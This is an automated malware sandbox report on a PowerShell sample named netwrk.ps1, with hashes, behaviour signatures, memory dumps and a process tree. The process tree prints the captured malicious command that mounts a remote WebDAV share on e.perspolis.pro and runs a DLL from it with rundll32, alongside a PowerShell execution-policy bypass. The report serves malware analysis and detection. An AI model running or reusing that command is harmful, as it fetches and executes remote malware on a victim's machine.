Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/06/2026, 00:20

General

  • Target
    netwrk.ps1
  • Size 1KB
  • Sample260628-am6h9aew21
  • SHA256 79aa6540aad70cc84fbb9d6874804ee86b6bfc2c703822a8d9c34f5a838e5304
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\netwrk.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4992
  • C:\Windows\system32\cmd.exe
    cmd /c pushd \\e.perspolis.pro@SSL\0fce9b5b-bb28-4c42-8d94-b381ed3944b8 & rundll32 pf.ch,#1
    1⤵
    • Process spawned unexpected child process
    • Enumerates connected drives
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\system32\rundll32.exe
      rundll32 pf.ch,#1
      2⤵
        PID:5104

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_macsikcl.pe1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_macsikcl.pe1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/4992-1-0x0000013C7AAB0000-0x0000013C7AAC0000-memory.dmp

          memory/4992-0-0x0000013C7AAB0000-0x0000013C7AAC0000-memory.dmp

          memory/4992-2-0x0000013C7A580000-0x0000013C7A5A2000-memory.dmp

          memory/4992-10-0x0000013C7AAB0000-0x0000013C7AAC0000-memory.dmp

          memory/4992-13-0x0000013C7CB30000-0x0000013C7CD4C000-memory.dmp